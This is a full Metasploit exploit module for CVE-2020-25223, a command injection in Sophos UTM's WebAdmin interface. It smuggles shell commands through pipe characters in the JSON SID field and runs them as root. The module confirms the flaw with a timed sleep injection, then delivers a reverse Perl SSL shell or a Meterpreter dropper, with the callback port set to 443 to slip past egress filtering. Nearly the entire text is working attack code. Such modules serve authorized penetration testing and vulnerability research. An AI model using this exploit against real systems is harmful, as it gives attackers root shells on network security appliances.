Sophos UTM WebAdmin SID Command Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Sophos UTM WebAdmin SID Command Injection',  
'Description' => %q{  
This module exploits an SID-based command injection in Sophos UTM's  
WebAdmin interface to execute shell commands as the root user.  
},  
'Author' => [  
# Discovered by unknown researcher(s)  
'Justin Kennedy', # Analysis and PoC  
'wvu' # Supplementary analysis and exploit  
],  
'References' => [  
['CVE', '2020-25223'],  
['URL', 'https://www.sophos.com/en-us/security-advisories/sophos-sa-20200918-sg-webadmin-rce'],  
['URL', 'https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223'],  
['URL', 'https://attackerkb.com/assessments/d6e0dff3-dd46-4f19-831d-c3f3f2fa972a']  
],  
'DisclosureDate' => '2020-09-18',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_perl_ssl'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :dropper,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 4444,  
'LPORT' => 443, # XXX: Bypass Sophos UTM's egress filtering  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [FIRST_ATTEMPT_FAIL],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def stopwatch  
# https://blog.dnsimple.com/2018/03/elapsed-time-with-ruby-the-right-way/  
start = Process.clock_gettime(Process::CLOCK_MONOTONIC)  
ret = yield  
elapsed = Process.clock_gettime(Process::CLOCK_MONOTONIC) - start  
  
[ret, elapsed]  
end  
  
def check  
sleep_time = rand(5..10)  
  
injected, elapsed_time = stopwatch do  
inject_cmd("sleep #{sleep_time}", timeout: sleep_time * 1.5)  
end  
  
return CheckCode::Unknown if injected.nil?  
  
vprint_status("Elapsed time: #{elapsed_time} seconds")  
  
# injected == false  
unless injected && elapsed_time > sleep_time  
return CheckCode::Safe('Failed to test command injection.')  
end  
  
# injected == true  
CheckCode::Appears('Successfully tested command injection.')  
end  
  
def exploit  
unless datastore['LPORT'] == 443  
print_warning('LPORT=443 is recommended to bypass egress filtering')  
end  
  
print_status("Executing #{payload_instance.refname} (#{target.name})")  
  
case target['Type']  
when :cmd  
execute_command(payload.encoded)  
when :dropper  
execute_cmdstager  
end  
end  
  
def execute_command(cmd, _opts = {})  
# nil or true on success  
if inject_cmd(cmd) == false  
fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")  
end  
end  
  
def inject_cmd(cmd, timeout: 3.5)  
vprint_status("Injecting command: #{cmd}")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'var'),  
'ctype' => 'application/json; charset=UTF-8', # NOTE: charset is required  
'data' => {  
'SID' => "|#{cmd}|" # https://perldoc.perl.org/functions/open#Opening-a-filehandle-into-a-command  
}.to_json  
}, timeout)  
  
return unless res  
return false unless res.code == 200 && res.body.include?(alert_msg)  
  
true  
end  
  
def alert_msg  
# {"RID":"","objs":[{"js":"json_abort(true);"},{"alert":"Backend connection failed, please click Shift-Reload to try again."}]}  
'Backend connection failed, please click Shift-Reload to try again.'  
end  
  
end  
`